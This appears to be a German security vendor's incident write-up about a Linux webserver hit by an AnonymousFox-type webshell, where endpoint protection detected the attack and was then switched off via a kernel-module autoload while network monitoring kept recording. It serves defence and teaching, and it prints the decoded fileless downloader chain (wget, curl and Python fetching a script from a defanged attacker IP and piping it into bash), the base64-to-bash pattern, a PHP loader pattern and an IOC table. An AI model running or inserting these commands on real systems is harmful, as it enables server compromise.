Erkannt, aber nicht blockiert: Was ein Webshell-Angriff über die Lücke zwischen EDR und NDR verrät

Stefan Röthlisberger
Gründer & CEO, IRONATE
An einem Sonntagnachmittag im Juli 2026, startete auf einem Linux-Webserver eine Attacke, die einen Payload aus dem Internet holte und direkt an die Shell weiterreichte. Der Endpoint-Schutz erkannte das sofort: korrekt klassifiziert, hohe Konfidenz, sauber auf MITRE ATT&CK abgebildet. Dann wurde es still. Es blieb bei diesem einen einzigen Alarm, denn der Angreifer schaltete als nächstes den Agenten selbst aus. Die beiden folgenden Angriffswellen in den Nächten darauf erschienen in der Endpoint-Telemetrie nicht mehr. Sichtbar blieben sie nur dort, wo der Angreifer keinen Zugriff hatte: im Netzwerk. Dieser Beitrag zeigt anhand eines anonymisierten realen Vorfalls, warum eine Schutzschicht, die auf dem angegriffenen System selbst läuft, strukturell verwundbar bleibt, und was das für die Verteidigungsarchitektur bedeutet.
Der Vorfall im Zeitraffer
Der Einstieg erfolgte über eine kompromittierte PHP-Anwendung in einer Shared-Hosting-Umgebung. Das Muster passt zur AnonymousFox-Familie, einem seit Jahren aktiven Webshell- und Mass-Dropper-Ökosystem, das gezielt WordPress-, Joomla- und generische PHP-Installationen auf geteilten Servern befällt. Aus dem Kontext eines unprivilegierten Hosting-Kontos heraus rief ein php-cgi-Prozess eine Shell auf, die eine externe Nutzlast nachlud.
Der Endpoint-Schutz reagierte sofort. Der entstandene Bash-Prozess wurde als LNX-DET-SUSPICIOUS-INTERACTIVE-SHELL mit Priorität Hoch und Konfidenz Hoch erkannt, zugeordnet zu TA0001 Initial Access und T1190 Exploit Public-Facing Application. Ein Fall wurde automatisch eröffnet. Die Erkennungslogik funktionierte präzise und schnell. Sie tat genau das, was man von ihr erwartet.
Was nicht folgte, war eine Reaktion. Kein Prozessabbruch, keine Isolation, keine Blockade der Verbindung. Und weil der Angreifer damit ungestört weiterarbeiten konnte, nutzte er das Zeitfenster für den Zug, der den restlichen Vorfall prägte: Er lud über die Kernel-Modul-Schnittstelle Code in den Kernel und brachte den Endpoint-Agenten zum Schweigen. Ab diesem Moment war der Server aus Sicht der Endpoint-Konsole ein unauffälliges System.
Es blieb bei dem einen Alarm vom Sonntagnachmittag. Die zweite Welle in der Nacht auf Montag und die dritte in der Folgenacht, beide mit weiteren Nachladestufen von wechselnden Domains, erzeugten keine einzige Endpoint-Erkennung mehr. Dass sie stattgefunden haben, wissen wir aus zwei Quellen: aus den Netzwerkdaten, die ausserhalb des Hosts entstehen, und aus der forensischen Untersuchung, nachdem der Server vom Netz genommen worden war. Dort fand sich auch die Spur des Kernel-Zugriffs, ein modprobe-Aufruf mit dem Argument net-pf-38.
Zwei Dinge fallen an diesem Ablauf zusammen. Erstens lag er vollständig ausserhalb der Bürozeiten. Ein Angriff, der am Sonntagnachmittag beginnt und in der Nacht auf Montag weiterläuft, trifft auf niemanden, der einen Alarm quittieren könnte. Alles, was in diesem Fenster nicht automatisch geschieht, geschieht nicht. Zweitens hätte selbst eine sofortige Bearbeitung des einen Alarms danach kein Bild mehr geliefert, weil die Quelle dieses Bildes ausgeschaltet war. Wer nur den Endpunkt beobachtet, hat in diesem Vorfall exakt eine Momentaufnahme und danach zwei Nächte Dunkelheit.
Die Nutzlast, dekodiert
Der eigentliche Befehl war in base64 verpackt, ein einfacher, aber wirksamer Trick gegen naive Zeichenkettensuchen in Logs und Kommandozeilen. Aufgezeichnet wurde eine Kommandozeile dieser Form:
sh -c echo KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtVCA2MDAgLXQgMiAtcU8t… | base64 -d | bash 2>&1
Dekodiert man den Block statisch, ohne ihn auszuführen, kommt eine bemerkenswert robust gebaute Downloader-Kette zum Vorschein:
(wget --no-check-certificate -T 600 -t 2 -qO- hxxp://212.83.185[.]19/bottom-zs.png
|| curl -m 600 -fsSL -k hxxp://212.83.185[.]19/bottom-zs.png
|| python3 -c "import urllib.request as u;print(u.urlopen('hxxp://212.83.185[.]19/bottom-zs.png').read().decode())"
|| python -c "import urllib2 as u;print(u.urlopen('hxxp://212.83.185[.]19/bottom-zs.png').read())"
) | bash
Vier Details daran verdienen Aufmerksamkeit, weil sie erklären, warum diese Kette am Endpunkt so schwer zu stoppen ist:
- looks_oneVier Fallback-Methoden.
wget,curl, Python 3 und Python 2 werden nacheinander versucht. Es reicht, wenn eines davon auf dem Zielsystem vorhanden ist, und auf einem Webserver ist praktisch immer mindestens eines vorhanden. Das Entfernen einzelner Werkzeuge als Härtungsmassnahme läuft damit ins Leere. - looks_twoKein Schreibvorgang auf die Festplatte.
-qO-und-fsSLschreiben nach stdout, die Ausgabe geht per Pipe direkt anbash. Die Nutzlast der ersten Stufe existiert nur im Arbeitsspeicher. Ein dateibasierter On-Access-Scan hat schlicht nichts zu prüfen, selbst wenn er aktiviert ist. - looks_3Zertifikatsprüfung deaktiviert.
--no-check-certificateund-knehmen jedes Zertifikat an. Der Angreifer plant für den Fall, dass unterwegs etwas aufbricht oder umleitet, und will nicht an TLS-Fehlern scheitern. - looks_4Getarnte Dateiendung. Die URL endet auf
.png, der Inhalt ist ein Shell-Skript. Diese Diskrepanz zwischen erwartetem und tatsächlichem Inhaltstyp ist am Endpunkt irrelevant, weil dort nie eine Datei entsteht. Auf der Leitung ist sie ein Volltreffer.
Ein weiteres Tarnungsdetail zeigte sich in den späteren Abrufen: Die Anfragen trugen einen gefälschten iPhone-User-Agent und den Referer https://google.com/. Das soll in Webserver-Logs nach normalem Besucherverkehr aussehen. Aus Netzwerksicht ist es das Gegenteil von unauffällig: Ein Serverprozess, der sich als mobiler Safari-Browser ausgibt und dabei behauptet, von einer Suchmaschine zu kommen, ist ein Profil, das im Normalbetrieb schlicht nicht vorkommt.
Der Griff zum Kernel: wie der Agent zum Schweigen kam
Der Wendepunkt des Vorfalls ist der Moment, in dem der Angreifer aufhört, sich zu verstecken, und stattdessen den Beobachter angreift. Der forensische Befund dazu ist ein modprobe-Aufruf mit dem Argument net-pf-38. Dahinter steckt ein bekannter Mechanismus: Öffnet ein Prozess einen Socket für eine ungewöhnliche Protokollfamilie, lädt der Kernel das passende Modul automatisch nach. Das ist der Türöffner, um eigenen Code in den Kernel zu bringen, ohne ihn selbst explizit laden zu müssen. MITRE führt das unter T1547.006 (Kernel Modules and Extensions), die Wirkung unter T1562.001 (Impair Defenses: Disable or Modify Tools).
Unter Windows kennt man dieses Vorgehen als BYOVD, Bring Your Own Vulnerable Driver: Der Angreifer bringt einen legitim signierten, aber verwundbaren Treiber mit und benutzt dessen Kernel-Rechte, um den Sicherheits-Agenten zu beenden oder seine Hooks auszuhängen. Auf Linux gibt es keine Treibersignaturen im Windows-Sinn, das Ziel ist aber dasselbe und der Weg führt über Kernel-Module. Wer im Kernel ist, steht über jedem Prozess im User-Space, und ein Endpoint-Agent ist ein Prozess im User-Space, dessen Sichtbarkeit von Kernel-Schnittstellen abhängt, die derselbe Kernel bereitstellt.
Genau darin liegt die strukturelle Schwäche, und sie ist nicht produktspezifisch. Ein Agent schützt das System, auf dem er selbst ausgeführt wird. Er teilt mit dem Angreifer die Maschine, den Kernel und ab einem bestimmten Rechteniveau die Vertrauensdomäne. Erreicht der Angreifer dieses Niveau, ist der Agent nicht mehr Gegner, sondern Ziel: beendbar, blendbar, manipulierbar. Das gilt für jedes agentenbasierte Produkt, unabhängig vom Hersteller, und es ist der Grund, warum EDR-Killer zu einer eigenen Werkzeugkategorie geworden sind.
Für die Verteidigung folgt daraus eine unbequeme Konsequenz: Die Abwesenheit von Alarmen ist keine Information. Ein Endpunkt, der ab einem bestimmten Zeitpunkt keine Erkennungen mehr liefert, kann sauber sein oder erobert. Von der Konsole aus sehen beide Zustände identisch aus. Nach dem einen Alarm vom Sonntag hätte man nur aus dem Ausbleiben weiterer Meldungen schliessen können, dass sich das Problem erledigt hat. Das Gegenteil war der Fall.
Die zwei Wellen, die niemand am Endpunkt sah
Nach dem Kernel-Zugriff kehrte der Angreifer zweimal zurück und lud jeweils von einer anderen Adresse nach: einmal von einer Domain-Variante des ursprünglichen Namens, einmal von der ursprünglichen Domain selbst, beide mit versteckten Pfaden, die mit einem Punkt beginnen (/.p7/ und /.llm/). Das ist eine gängige Redundanzstrategie: Wird ein Name gesperrt, greift der nächste. Für die Verteidigung heisst das, dass eine Sperre auf Ebene einzelner Domains immer hinterherläuft, während eine Sperre auf Ebene der Kommunikationsbeziehung sofort wirkt.
Beide Wellen hinterliessen am Endpunkt keine Spur in der Telemetrie. Auf der Leitung hinterliessen sie eine vollständige: Verbindungsaufbau, Ziel, Pfad, Header, Volumen und Zeitpunkt. Der Angreifer hatte die eine Beobachtungsschicht ausgeschaltet und die andere nicht einmal bemerkt, weil sie nicht auf seinem Server lag.
Warum der Endpoint-Schutz nicht blockiert hat
Der wichtigste Befund zuerst, weil er gegen die Erwartung läuft: Es war kein Erkennungsversagen. Die eingesetzte Lösung, in diesem Fall Sophos XDR mit dem Server Protection Agent für Linux, hat den Angriff sofort erkannt, korrekt benannt und sauber auf ATT&CK abgebildet. Das ist eine gute Leistung. Entscheidend ist, was in der Minute danach nicht passierte, denn dieses Zeitfenster war es, das dem Angreifer den Zugriff auf den Kernel und damit auf den Agenten selbst ermöglichte. Die Blockade blieb aus vier Gründen aus, die sich alle nicht auf die Erkennungsqualität beziehen.
Dazu kommt der Faktor, der alle vier verstärkt: das Zeitfenster. Sonntagnachmittag bis Montagnacht. Ohne 24/7-Abdeckung oder automatisierte Reaktion ist ein Alarm in diesem Fenster genau das, ein Alarm. Wer nur eine Detektionsschicht ohne Durchgriff betreibt, verlässt sich implizit darauf, dass Angreifer während der Bürozeiten arbeiten. Das tun sie nachweislich nicht.
Und dann kommt der fünfte Punkt, der die vier anderen erledigt: Nach dem Kernel-Zugriff war die Frage der Konfiguration gegenstandslos. Man kann eine Richtlinie härten, Ausschlüsse entfernen, Deep Learning und CryptoGuard reaktivieren und Blockiermodi einschalten. Nichts davon hilft, wenn der Angreifer den Agenten stilllegt, der all diese Funktionen ausführen soll. Eine Schutzschicht, die auf dem Zielsystem läuft, ist immer nur so stark wie das schwächste Rechteproblem dieses Systems. Deshalb ist die Antwort auf diesen Vorfall keine bessere Endpoint-Konfiguration, sondern eine zweite Beobachtungsebene ausserhalb der Reichweite des Angreifers.
Was das NDR gesehen und getan hat
Auf Netzwerkebene stellte sich derselbe Vorgang völlig anders dar, und zwar über den ganzen Vorfall hinweg, nicht nur in der ersten Minute. Das liegt nicht daran, dass das NDR «besser» erkennt, sondern an zwei Eigenschaften: Es stellt eine andere Frage, und es steht an einem anderen Ort. Der Endpunkt fragt: Ist dieser Prozess bösartig? Das Netzwerk fragt: Ist diese Kommunikationsbeziehung normal? Und es tut das von einem Sensor aus, der am Mirror-Port oder TAP hängt, nicht auf dem kompromittierten Server. Der Angreifer hätte Root-Zugriff auf einer ganz anderen Maschine gebraucht, um diese Sicht zu beeinflussen. Beim initialen Download war die Kommunikationsbeziehung in mehrfacher Hinsicht nicht normal.
| Beobachtung auf der Leitung | Warum das auffällt |
|---|---|
| HTTP auf Port 80 zu einer rohen IP-Adresse | Keine vorgängige DNS-Auflösung, kein TLS. Produktivsysteme holen Software über Paketquellen und HTTPS, nicht über hartkodierte IP-Adressen im Klartext. |
| Skriptinhalt hinter einer Bild-Endung | Die URL endet auf .png, übertragen wird ein Shell-Skript. Die Diskrepanz zwischen Endung, Content-Type und tatsächlichem Inhalt ist ein klassisches Tarnmuster. |
| Mobile-User-Agent aus einem Serverprozess | Ein gefälschter iPhone-Safari-Header samt Suchmaschinen-Referer, abgesetzt von einem Webserver. Ein Profil, das im legitimen Betrieb dieses Hosts nie vorkommt. |
| Erstkontakt zu einem neuen Ziel | First-Seen-Erkennung: Dieser Host hatte mit diesem Ziel und diesem Netzbereich zuvor nie gesprochen, weder in der Baseline noch in der Historie. |
| Treffer in den Threat-Intelligence-Feeds | Die Zieladresse und die später genutzten Domains waren als Payload- und C2-Infrastruktur bekannt. Der Alert wurde automatisch mit dieser Reputation angereichert. |
| Ausgehender Verkehr aus einer DMZ-Rolle | Ein Webserver ist eine Senke für eingehende Anfragen. Selbst initiierter Egress zu beliebigen Zielen widerspricht seiner Funktion und ist ein starkes Verhaltenssignal. |
Aus diesen Signalen entstand ein Alert mit kritischem Bedrohungsscore und automatischer MITRE-ATT&CK-Zuordnung. Weil der Score die konfigurierte Schwelle überschritt, griff die Auto-Response: IRONATE NDR setzte über die REST-API der Perimeter-Firewall eine Sperrregel, in beide Richtungen, also sowohl für den betroffenen Host als Quelle als auch für das externe Ziel. Zwischen Erkennung und wirksamer Regel lagen Sekunden. Parallel wurde ein Incident im Case Management eröffnet und über Syslog an das SIEM weitergeleitet, mit vollständigem Audit-Trail.
Die Wirkung zeigte sich bei den Folgestufen: Die späteren Nachladeversuche liefen ins Leere. Der Angreifer hatte weiterhin seine Webshell und weiterhin seinen Kernel-Zugriff, aber keinen Transportweg mehr für neue Werkzeuge. Genau das ist der Unterschied zwischen einem Vorfall, den man am Montag aufräumt, und einem Vorfall, der über Nacht eskaliert.
Der eigentliche Punkt liegt aber nicht in der Blockade, sondern in der Kontinuität. Auch nachdem der Agent stillgelegt war, lief die Aufzeichnung weiter. Die beiden Folgewellen sind vollständig dokumentiert: mit Zeitpunkt, Ziel, Pfad und Header, obwohl der Server selbst zu diesem Zeitpunkt nichts mehr meldete. Diese Aufzeichnung war später die Grundlage für die Bestimmung des Vorfallumfangs. Ohne sie hätte man nach dem einen Alarm vom Sonntag vor einem System gestanden, das seit zwei Tagen schweigt, und keinen Weg gehabt, zwischen «bereinigt» und «vollständig übernommen» zu unterscheiden.
NDR und EDR im Vergleich: warum sie keine Alternativen sind
Es wäre die falsche Lehre aus diesem Vorfall, den Endpoint-Schutz für überflüssig zu erklären. Ohne ihn wüssten wir nicht, welcher Prozess unter welchem Konto welche Kommandozeile ausgeführt hat, und die forensische Rekonstruktion wäre deutlich mühsamer gewesen. Die beiden Ebenen liefern unterschiedliche Wahrheiten über denselben Vorgang. Wer nur eine davon hat, sieht die halbe Geschichte.
| Frage | Endpoint (EDR/XDR) | Netzwerk (NDR) |
|---|---|---|
| Welcher Prozess, welches Konto? | vollständig | nicht sichtbar |
| Wohin geht der Verkehr, mit welchem Inhalt? | plattformabhängig, auf Linux hier gar nicht | vollständig |
| Braucht es einen Agenten auf dem System? | ja, inklusive Support für OS und Kernel | nein, passiv über Mirror-Port oder TAP |
| Wirkt ein Pfadausschluss? | ja, er erzeugt einen blinden Fleck | nein, der Transport bleibt sichtbar |
| Kann der Angreifer die Beobachtung abschalten? | ja, in diesem Vorfall geschehen | nein, der Sensor liegt auf einer anderen Maschine |
| Kann der Angreifer die Spuren löschen? | ja, lokale Logs und Agent sind angreifbar | nein, die Telemetrie liegt ausserhalb des Hosts |
| Läuft die Aufzeichnung nach dem Kill weiter? | nein, zwei Nächte ohne Telemetrie | ja, lückenlos über den ganzen Vorfall |
| Automatische Blockade in diesem Fall? | nein, Laufzeiterkennung rein detektiv | ja, Sperrregel via Firewall-API |
| Deckt es Systeme ohne Agent ab? | nein, etwa Appliances, OT, Gastgeräte | ja, alles was Pakete sendet |
Die entscheidende Zeile ist die vierte von unten. Alle anderen Unterschiede sind Abwägungen, bei denen man je nach Umgebung zu verschiedenen Schlüssen kommen kann. Diese eine ist kategorisch: Eine Beobachtungsschicht, die der Angreifer abschalten kann, ist im Ernstfall genau dann nicht verfügbar, wenn man sie am dringendsten braucht. Es geht dabei nicht um Produktqualität, sondern um Topologie. Ein Agent sitzt innerhalb des Angriffsziels, ein Netzwerksensor daneben.
Diese Argumentation ist nicht neu, sie wird nur selten so vollständig belegt. Angreifer wissen längst, dass der Endpunkt die am besten überwachte Ebene ist, und richten ihre Werkzeuge entsprechend aus. Wir haben das im Beitrag zu EDR-Killern ausführlich beschrieben. Dieser Vorfall liefert dazu den praktischen Beleg, und zwar in der unangenehmsten Reihenfolge: Erst zeigte der Agent, dass er erkennen kann, dann wurde er ausgeschaltet, bevor jemand auf seine Erkenntnis reagieren konnte.
Was daraus konkret folgt
noexec-Mount für temporäre Verzeichnisse.kernel.modules_disabled nach dem Boot, Module Signature Enforcement, Kernel-Lockdown) und nicht benötigte Protokollfamilien über eine Modul-Blacklist sperren. Das nimmt genau jenem Schritt die Grundlage, mit dem in diesem Vorfall der Agent stillgelegt wurde.Indicators of Compromise (IOCs)
Alle Angaben beziehen sich ausschliesslich auf externe Angreiferinfrastruktur und generische Angriffsmuster. Adressen sind entschärft dargestellt.
| Typ | Indikator | Hinweis |
|---|---|---|
| IP | 212.83.185[.]19 | Payload-Host, HTTP/80 |
| URL | hxxp://212.83.185[.]19/bottom-zs.png | Stufe 1, Shell-Skript mit Bild-Endung |
| Domain | i30[.]bz | C2 und Payload-Hosting |
| Domain | i30bz[.]com | Ausweich-Variante |
| Domain | pis[.]is | im Umfeld der Kampagne beobachtet |
| Domain | team-gov[.]com | im Umfeld der Kampagne beobachtet |
| URL-Pfad | /.p7/19-SIPMLB | Nachladestufe, versteckter Pfad |
| URL-Pfad | /.llm/3-CZHEJW | Nachladestufe, versteckter Pfad |
| URL-Pfad | /.O/m.txt, /.O/x.txt, /.O/o.txt, /.O/f35.txt | Nachladepfade der Webshell-Familie |
| Dateiablage | /tmp/<11 Zufallszeichen>.txt | beobachtet: UyJbvLw74pT.txt, BRLdX8qx2fr.txt |
| Prozessmuster | sh -c echo <base64> | base64 -d | bash | fileless Loader |
| Prozessmuster | modprobe net-pf-38 | Kernelmodul-Autoload zum Stilllegen des Agenten, T1547.006 / T1562.001 |
| Verhaltensindikator | Telemetrie-Abriss bei erreichbarem Host | stiller Agent nach vorangehendem High-Alert |
| HTTP-Header | iPhone/Safari-UA + Referer https://google.com/ | Tarnung serverseitiger Abrufe |
| Code-Muster | eval(str_rot13(str_rot13(gzuncompress(base64_decode( | Loader-Kette der Webshell-Familie |
| Datei-Signatur | FoxCyberSecurity, <xleet>, <mailer> | Familien- und Reporting-Marker |
| Konfigurations-Artefakt | disable_functions = NONE, Allow From All, index.php.bak | gedroppte php.ini und .htaccess |
| Shell-Dateinamen | anonymousfox.php, f35.php, she11.php, wso.php, c99.php | typische Drop-Namen (Auswahl) |
base64_decode, dann gzuncompress), niemals über eval ausführen. Anschliessend die Zeitstempel aller Funde clustern, um den Erstzugriff einzugrenzen, und bei geteilten Hosting-Umgebungen alle Vhosts desselben Servers mit denselben Mustern durchsuchen.Häufige Fragen
Warum blockiert ein EDR oder XDR einen erkannten Angriff nicht automatisch?
Erkennung und Reaktion sind getrennte Fähigkeiten. Laufzeiterkennung auf Linux-Servern arbeitet in vielen Konfigurationen rein detektiv: Sie alarmiert mit hoher Konfidenz, beendet aber keine Prozesse und isoliert keine Hosts. Dazu kommen Plattformgrenzen. IPS, URL-Reputation und Download-Schutz sind in vielen Endpoint-Suiten nur für Windows und macOS verfügbar, für Linux gar nicht. Ein ausgehender Download lässt sich am Endpunkt dann technisch nicht unterbinden.
Ersetzt NDR den Endpoint-Schutz?
Nein. Der Endpunkt liefert Prozessabstammung, Benutzerkontext und Kommandozeilen, das Netzwerk liefert Transport, Ziel und Volumen. Im beschriebenen Fall lieferte der Endpoint-Schutz die korrekte Klassifizierung, das Netzwerk den Ansatzpunkt zum Unterbrechen und die durchgehende Aufzeichnung. NDR greift zusätzlich dort, wo kein Agent installiert ist, wo er nicht blockieren kann oder wo er ausgeschaltet wurde.
Wie kann ein Angreifer ein EDR ausschalten?
Indem er Rechte auf Kernel-Ebene erlangt. Unter Windows ist die bekannteste Variante BYOVD (Bring Your Own Vulnerable Driver): Ein legitim signierter, aber verwundbarer Treiber wird mitgebracht und seine Kernel-Rechte genutzt, um den Sicherheitsagenten zu beenden oder dessen Hooks auszuhängen. Auf Linux führt derselbe Weg über Kernel-Module, in diesem Vorfall über das automatische Nachladen eines Moduls für eine ungewöhnliche Protokollfamilie. Weil ein Agent ein Prozess auf dem angegriffenen System ist, steht Code im Kernel immer über ihm. MITRE führt das unter T1562.001.
Warum sieht ein NDR den Angriff weiter, wenn das EDR ausgeschaltet ist?
Weil der Sensor nicht auf dem angegriffenen System läuft. Er hängt passiv an einem Mirror-Port oder Network TAP und wertet den Verkehr auf einer anderen Maschine aus. Um diese Sicht zu manipulieren, bräuchte der Angreifer Zugriff auf die Netzwerkinfrastruktur oder auf den Sensor selbst, nicht nur auf den kompromittierten Server. Deshalb blieben die beiden Angriffswellen nach dem Ausschalten des Agenten vollständig dokumentiert, obwohl der Server selbst nichts mehr meldete.
Wie erkennt ein NDR einen fileless Download, der nie auf die Festplatte gelangt?
Genau daran, dass er trotzdem übertragen werden muss. Der Abruf lief unverschlüsselt über Port 80 direkt zu einer IP-Adresse, ohne vorherige DNS-Auflösung. Der Inhalt war ein Shell-Skript, obwohl die URL auf .png endete. Der User-Agent gab ein Mobilgerät an, obwohl die Anfrage von einem Serverprozess kam. Jedes dieser Merkmale ist auf der Leitung sichtbar, unabhängig davon, ob am Endpunkt je eine Datei entsteht.
Was ist eine AnonymousFox-Webshell?
Eine seit Jahren aktive Familie von PHP-Webshells und Mass-Droppern, die Shared-Hosting-Umgebungen mit WordPress, Joomla und generischem PHP trifft. Der Loader entpackt sich mehrstufig über base64, gzip und rot13, legt weitere Shells und Uploader ab, reaktiviert über eine eigene php.ini gefährliche PHP-Funktionen, liest Zugangsdaten aus Konfigurationsdateien aus und deaktiviert verbreitete Security-Plugins.
Was ist eine Auto-Response-Firewall-Regel und wie schnell greift sie?
IRONATE NDR setzt bei kritischen Alerts über die REST-API der Perimeter-Firewall automatisch eine Sperrregel, in beide Richtungen. Unterstützt werden unter anderem FortiGate, Palo Alto, Cisco und VMware NSX-T sowie ein generischer REST-Adapter. Zwischen Erkennung und wirksamer Regel liegen Sekunden, unabhängig von Wochentag und Uhrzeit, mit vollständigem Audit-Trail.
summarize Zusammenfassung / Key Takeaways
- check_circleDer Endpoint-Schutz hat den Angriff sofort und korrekt erkannt und sauber auf MITRE ATT&CK abgebildet. Das Problem war nicht die Erkennung, sondern das Fehlen einer Reaktionsfähigkeit auf dieser Plattform.
- check_circleEs blieb bei genau einem Alarm. Der Angreifer nutzte das ungenutzte Zeitfenster, um über die Kernel-Modul-Schnittstelle den Agenten stillzulegen (T1562.001, das Linux-Äquivalent zu BYOVD).
- check_circleDie beiden folgenden Angriffswellen erzeugten keine Endpoint-Telemetrie mehr. Von der Konsole aus sah der eroberte Server aus wie ein sauberer: Fehlende Alarme sind keine Information.
- check_circleDie Payload war fileless, mit vier Downloader-Fallbacks, deaktivierter TLS-Prüfung und Skriptinhalt hinter einer
.png-Endung. Dateibasierte Kontrollen kommen dabei strukturell zu spät. - check_circleIRONATE NDR erkannte den Abruf über sechs unabhängige Netzwerksignale, setzte per Auto-Response eine Firewall-Sperrregel und zeichnete auch nach dem EDR-Kill lückenlos weiter. Die Nachladeversuche liefen ins Leere.
- check_circleDer Kernpunkt ist Topologie, nicht Produktqualität: Ein Agent sitzt im Angriffsziel und ist abschaltbar, ein Netzwerksensor sitzt daneben und bleibt es nicht. Deshalb sind EDR und NDR komplementär, nicht austauschbar.
Quellen & Referenzen
- • Interne IRONATE-Vorfallanalyse und Threat-Hunting-Playbook zur AnonymousFox-Webshell (Juli 2026), anonymisiert wiedergegeben
- • MITRE ATT&CK: T1190 Exploit Public-Facing Application, attack.mitre.org
- • MITRE ATT&CK: T1505.003 Server Software Component, Web Shell, attack.mitre.org
- • MITRE ATT&CK: T1105 Ingress Tool Transfer, attack.mitre.org
- • MITRE ATT&CK: T1547.006 Kernel Modules and Extensions, attack.mitre.org
- • MITRE ATT&CK: T1562.001 Impair Defenses, Disable or Modify Tools, attack.mitre.org
- • MITRE ATT&CK: T1027 Obfuscated Files or Information, attack.mitre.org
- • Sophos Central Produktdokumentation zu Server Protection for Linux und Linux Runtime Detections (Plattformverfügbarkeit der Schutzfunktionen), docs.sophos.com
- • Bundesamt für Cybersicherheit BACS, Meldepflicht und Empfehlungen für Betreiber kritischer Infrastrukturen, ncsc.admin.ch
Die Nennung von Sophos erfolgt rein sachlich zur Einordnung eines realen Vorfalls. Die beschriebenen Punkte betreffen Plattformverfügbarkeit und Richtlinienkonfiguration, nicht die Erkennungsqualität des Produkts, die in diesem Fall gut war.
Was passiert, wenn Ihr Agent verstummt?
IRONATE NDR erkennt agentenlos, was auf Ihren Servern wirklich nach aussen geht, blockiert kritische Verbindungen automatisch über die Firewall-API und zeichnet weiter auf, auch wenn der Endpunkt längst nichts mehr meldet. In 72 Stunden operativ, OnPrem in Ihrer Infrastruktur, DSG-konform. Wir zeigen Ihnen gerne, wie das in Ihrer Umgebung aussieht.
Unverbindliche Beratung anfordern arrow_forward